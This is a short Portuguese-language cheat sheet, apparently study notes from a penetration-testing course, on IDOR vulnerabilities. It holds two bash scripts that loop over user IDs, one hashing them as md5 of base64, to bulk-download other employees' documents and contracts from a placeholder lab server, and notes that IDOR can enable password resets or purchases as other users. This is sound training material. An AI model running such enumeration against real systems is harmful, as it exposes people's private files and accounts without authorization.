IDOR

Vulnerabilidades IDOR ocorrem quando um aplicativo web expõe uma referência direta a um objeto, como um arquivo ou um recurso de banco de dados, que o usuário final pode controlar diretamente para obter acesso a outros objetos semelhantes.

Enumeração de IDOR em massa

  • Podemos usar um forloop simples para percorrer o uidparâmetro e retornar o documento de todos os funcionários e, em seguida, usar o wgetlink para baixar cada documento:

#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done

Ignorando referências codificadas

  • Enumeração em massa

for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done
  • Em seguida, podemos fazer uma POSTsolicitação download.phpcom cada um dos hashes acima como contractvalor, o que deve nos dar nosso script final:

#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done

IDOR em APIs inseguras

Explorando APIs inseguras

  • Enquanto IDOR Information Disclosure Vulnerabilitiesnos permite ler vários tipos de recursos, IDOR Insecure Function Callsnos permite chamar APIs ou executar funções como outro usuário. Essas funções e APIs podem ser usadas para alterar informações privadas de outro usuário, redefinir a senha de outro usuário ou até mesmo comprar itens usando as informações de pagamento de outro usuário.

Last updated